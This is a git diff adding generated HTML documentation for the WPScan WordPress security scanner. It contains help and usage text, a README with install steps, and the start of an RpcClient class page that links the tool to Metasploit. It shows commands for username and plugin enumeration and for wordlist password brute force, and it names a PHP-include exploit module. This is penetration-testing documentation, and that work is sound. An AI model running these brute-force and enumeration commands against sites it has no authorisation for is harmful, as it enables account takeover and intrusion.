+          <a name="method-i-help"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">help</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>command help</p>
+            
+
+            
+            <div class="method-source-code" id="help-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_helper.rb, line 71</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">help</span>()
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;Help :&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;Some values are settable in conf/browser.conf.json :&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;  user-agent, proxy, threads, cache timeout and request timeout&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--update   Update to the latest revision&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--url   | -u &lt;target url&gt;  The WordPress URL/domain to scan.&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--force | -f Forces WPScan to not check if the remote site is running WordPress.&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--enumerate | -e [option(s)]  Enumeration.&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;  option :&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    u        usernames from id 1 to 10&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    u[10-20] usernames from id 10 to 20 (you must write [] chars)&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    p        plugins&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    p!       only vulnerable plugins&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    t        timthumbs&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    T        themes&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    T!       only vulnerable themes&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;  Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;  If no option is supplied, the default is 'tup!'&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--config-file | -c &lt;config file&gt; Use the specified config file&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--follow-redirection  If the target url has a redirection, it will be followed without asking if you wanted to do so or not&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--wp-content-dir &lt;wp content dir&gt;  WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--wp-plugins-dir &lt;wp plugins dir&gt;  Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--proxy  Supply a proxy in the format host:port or protocol://host:port (will override the one from conf/browser.conf.json).&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;         HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given (format host:port), HTTP will be used&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--wordlist | -w &lt;wordlist&gt;  Supply a wordlist for the password bruter and do the brute.&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--threads  | -t &lt;number of threads&gt;  The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--username | -U &lt;username&gt;  Only brute force the supplied username.&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--help     | -h This help screen.&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--verbose  | -v Verbose output.&quot;</span>
+  <span class="ruby-identifier">puts</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- help-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- help-method -->
+
+      
+        <div id="red-method" class="method-detail ">
+          <a name="method-i-red"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">red</span><span
+              class="method-args">(text)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="red-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 129</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">red</span>(<span class="ruby-identifier">text</span>)
+  <span class="ruby-identifier">colorize</span>(<span class="ruby-identifier">text</span>, <span class="ruby-value">31</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- red-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- red-method -->
+
+      
+        <div id="require_files_from_directory-method" class="method-detail ">
+          <a name="method-i-require_files_from_directory"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">require_files_from_directory</span><span
+              class="method-args">(absolute_dir_path, files_pattern = "*.rb")</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>TODO : add an exclude pattern ?</p>
+            
+
+            
+            <div class="method-source-code" id="require_files_from_directory-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 33</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">require_files_from_directory</span>(<span class="ruby-identifier">absolute_dir_path</span>, <span class="ruby-identifier">files_pattern</span> = <span class="ruby-string">&quot;*.rb&quot;</span>)
+  <span class="ruby-constant">Dir</span>[<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">absolute_dir_path</span>, <span class="ruby-identifier">files_pattern</span>)].<span class="ruby-identifier">sort</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">f</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">f</span>)
+    <span class="ruby-identifier">require</span> <span class="ruby-identifier">f</span>
+    <span class="ruby-comment">#puts &quot;require #{f}&quot; # Used for debug</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- require_files_from_directory-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- require_files_from_directory-method -->
+
+      
+        <div id="usage-method" class="method-detail ">
+          <a name="method-i-usage"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">usage</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>wpscan usage</p>
+            
+
+            
+            <div class="method-source-code" id="usage-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_helper.rb, line 24</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">usage</span>()
+  <span class="ruby-identifier">script_name</span> = <span class="ruby-identifier">$0</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;--help or -h for further help.&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;Examples :&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Do 'non-intrusive' checks ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Do wordlist password brute force on enumerated users using 50 threads ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --threads 50&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Do wordlist password brute force on the 'admin' username only ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --username admin&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Enumerate installed plugins ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com --enumerate p&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Enumerate installed themes ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com --enumerate T&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Enumerate users ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com --enumerate u&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Enumerate installed timthumbs ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com --enumerate t&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Use a HTTP proxy ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com --proxy 127.0.0.1:8118&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Use a SOCKS5 proxy ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --url www.example.com --proxy socks5://127.0.0.1:9000&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Use custom content directory ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} -u www.example.com --wp-content-dir custom-content&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Use custom plugins directory ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} -u www.example.com --wp-plugins-dir wp-content/custom-plugins&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;-Update ...&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;ruby #{script_name} --update&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;See README for further information.&quot;</span>
+  <span class="ruby-identifier">puts</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- usage-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- usage-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/README.html b/doc/README.html
new file mode 100644
index 00000000..dba47cfd
--- /dev/null
+++ b/doc/README.html
@@ -0,0 +1,329 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: README [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="./rdoc.css" rel="stylesheet" />
+
+  <script src="./js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file">
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    
+<p><em>__</em></p>
+
+<pre>__          _______   _____
+\ \        / /  __ \ / ____|
+ \ \  /\  / /| |__) | (___   ___  __ _ _ __
+  \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
+   \  /\  /  | |     ____) | (__| (_| | | | |
+    \/  \/   |_|    |_____/ \___|\__,_|_| |_|</pre>
+
+<p><em>__</em></p>
+
+<h2>LICENSE==</h2>
+
+<p>WPScan - WordPress Security Scanner Copyright (C) 2011  Ryan Dewhurst AKA
+ethicalhack3r</p>
+
+<p>This program is free software: you can redistribute it and/or modify it
+under the terms of the GNU General Public License as published by the Free
+Software Foundation, either version 3 of the License, or (at your option)
+any later version.</p>
+
+<p>This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
+more details.</p>
+
+<p>You should have received a copy of the GNU General Public License along
+with this program.  If not, see &lt;<a
+href="http://www.gnu.org/licenses/">www.gnu.org/licenses/</a>&gt;.</p>
+
+<p>ryandewhurst at gmail</p>
+
+<h2>INSTALL==</h2>
+
+<p>WPScan comes pre-installed on BackTrack5 R1 in the /pentest/web/wpscan
+directory. WPScan only supports Ruby =&gt; 1.9.</p>
+
+<pre>-&gt; Installing on Backtrack5 Gnome/KDE 32bit :
+
+  sudo apt-get install libcurl4-gnutls-dev
+  sudo gem install --user-install mime-types typhoeus nokogiri json
+
+-&gt; Installing on Debian/Ubuntu :
+
+  sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby
+  sudo gem install typhoeus nokogiri json
+
+-&gt; Installing on other nix : (not tested)
+
+  sudo gem install typhoeus nokogiri json
+
+-&gt; Installing on Windows : (not tested)
+
+  gem install typhoeus (&quot;Windows is not officially supported&quot;)
+  gem install nokogiri json
+
+-&gt; Installing on Mac OSX :
+
+  sudo gem install typhoeus nokogiri json</pre>
+
+<h2>KNOWN ISSUES==</h2>
+
+<pre>- Typhoeus segmentation fault
+    Update curl to at least v7.21 (you may have to install it from sources)
+    See http://code.google.com/p/wpscan/issues/detail?id=81
+
+- If you have one the following errors : &quot;-bash: !t: event not found&quot;, &quot;-bash: !u: event not found&quot;
+    It happens with enumeration : just put the 't' or 'u' before the 'p!' : '-e tp!' instead of '-e p!t'</pre>
+
+<h2>WPSCAN ARGUMENTS==</h2>
+
+<p>–update   Update to the latest revision</p>
+
+<p>–url   | -u &lt;target url&gt;  The WordPress URL/domain to scan.</p>
+
+<p>–force | -f Forces WPScan to not check if the remote site is running
+WordPress.</p>
+
+<p>–enumerate | -e [option(s)]  Enumeration.</p>
+
+<pre>option :
+  u        usernames from id 1 to 10
+  u[10-20] usernames from id 10 to 20 (you must write [] chars)
+  p        plugins
+  p!       only vulnerable plugins
+  t        timthumbs
+Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins
+If no option is supplied, the default is 'tup!'</pre>
+
+<p>–config-file | -c &lt;config file&gt; Use the specified config file</p>
+
+<p>–follow-redirection  If the target url has a redirection, it will be
+followed without asking if you wanted to do so or not</p>
+
+<p>–wp-content-dir &lt;wp content dir&gt;  WPScan try to find the content
+directory (ie wp-content) by scanning the index page, however you can
+specified it. Subdirectories are allowed</p>
+
+<p>–wp-plugins-dir &lt;wp plugins dir&gt;  Same thing than –wp-content-dir but
+for the plugins directory. If not supplied, WPScan will use
+wp-content-dir/plugins. Subdirectories are allowed</p>
+
+<p>–proxy  Supply a proxy in the format host:port or protocol://host:port
+(will override the one from conf/browser.conf.json). HTTP, SOCKS4 SOCKS4A
+and SOCKS5 are supported. If no protocol is given (format host:port), HTTP
+will be used</p>
+
+<p>–wordlist | -w &lt;wordlist&gt;  Supply a wordlist for the password bruter
+and do the brute.</p>
+
+<p>–threads  | -t &lt;number of threads&gt;  The number of threads to use when
+multi-threading requests. (will override the value from
+conf/browser.conf.json)</p>
+
+<p>–username | -U &lt;username&gt;  Only brute force the supplied username.</p>
+
+<p>–help     | -h This help screen.</p>
+
+<p>–verbose  | -v Verbose output.</p>
+
+<h2>WPSCAN EXAMPLES==</h2>
+
+<p>Do ‘non-intrusive’ checks…</p>
+
+<pre>ruby wpscan.rb --url www.example.com</pre>
+
+<p>Do wordlist password brute force on enumerated users using 50 threads…</p>
+
+<pre>ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50</pre>
+
+<p>Do wordlist password brute force on the ‘admin’ username only…</p>
+
+<pre>ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin</pre>
+
+<p>Enumerate instaled plugins…</p>
+
+<pre>ruby wpscan.rb --url www.example.com --enumerate p</pre>
+
+<h2>WPSTOOLS ARGUMENTS==</h2>
+
+<p>–help    | -h   This help screen. –Verbose | -v   Verbose output. –update 
+| -u   Update to the latest revision. –generate_plugin_list [number of
+pages]  Generate a new data/plugins.txt file. (supply number of
+<b>pages</b> to parse, default : 150) –gpl  Alias for –generate_plugin_list</p>
+
+<h2>WPSTOOLS EXAMPLES==</h2>
+<ul><li>
+<p>Generate a new ‘most popular’ plugin list, up to 150 pages …</p>
+</li></ul>
+
+<p>ruby <a href="wpstools_rb.html">wpstools.rb</a> –generate_plugin_list 150</p>
+
+<h3>PROJECT HOME===</h3>
+
+<p><a href="http://www.wpscan.org">www.wpscan.org</a></p>
+
+<h3>REPOSITORY===</h3>
+
+<p><a
+href="https://github.com/wpscanteam/wpscan">github.com/wpscanteam/wpscan</a></p>
+
+<h3>ISSUES===</h3>
+
+<p><a
+href="https://github.com/wpscanteam/wpscan/issues">github.com/wpscanteam/wpscan/issues</a></p>
+
+<h3>SPONSOR===</h3>
+
+<p>WPScan is sponsored by the RandomStorm Open Source Initiative.</p>
+
+<p>Visit RandomStorm at <a
+href="http://www.randomstorm.com">www.randomstorm.com</a></p>
+
+  </div>
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+</body>
+</html>
+
diff --git a/doc/RpcClient.html b/doc/RpcClient.html
new file mode 100644
index 00000000..1402ac61
--- /dev/null
+++ b/doc/RpcClient.html
@@ -0,0 +1,762 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: RpcClient</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/msfrpc_client_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/msfrpc_client.rb">lib/wpscan/msfrpc_client.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-authenticate">#authenticate</a></li>
+          
+          <li><a href="#method-i-exploit">#exploit</a></li>
+          
+          <li><a href="#method-i-get_exploit_info">#get_exploit_info</a></li>
+          
+          <li><a href="#method-i-get_options">#get_options</a></li>
+          
+          <li><a href="#method-i-get_payloads">#get_payloads</a></li>
+          
+          <li><a href="#method-i-jobs">#jobs</a></li>
+          
+          <li><a href="#method-i-kill_session">#kill_session</a></li>
+          
+          <li><a href="#method-i-login">#login</a></li>
+          
+          <li><a href="#method-i-meterpreter_read">#meterpreter_read</a></li>
+          
+          <li><a href="#method-i-meterpreter_write">#meterpreter_write</a></li>
+          
+          <li><a href="#method-i-read_shell">#read_shell</a></li>
+          
+          <li><a href="#method-i-sessions">#sessions</a></li>
+          
+          <li><a href="#method-i-write_shell">#write_shell</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">RpcClient</h1>
+
+    <div id="description" class="description">
+      
+<p>This library should contain all methods to communicate with msfrpc. See
+framework/documentation/msfrpc.txt for further information. msfrpcd -S -U
+wpscan -P wpscan -f -t Web -u /RPC2 name = exploit/unix/webapp/php_include</p>
+
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 28</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>
+  <span class="ruby-ivar">@config</span> = {}
+  <span class="ruby-ivar">@config</span>[<span class="ruby-string">'host'</span>] = <span class="ruby-string">&quot;127.0.0.1&quot;</span>
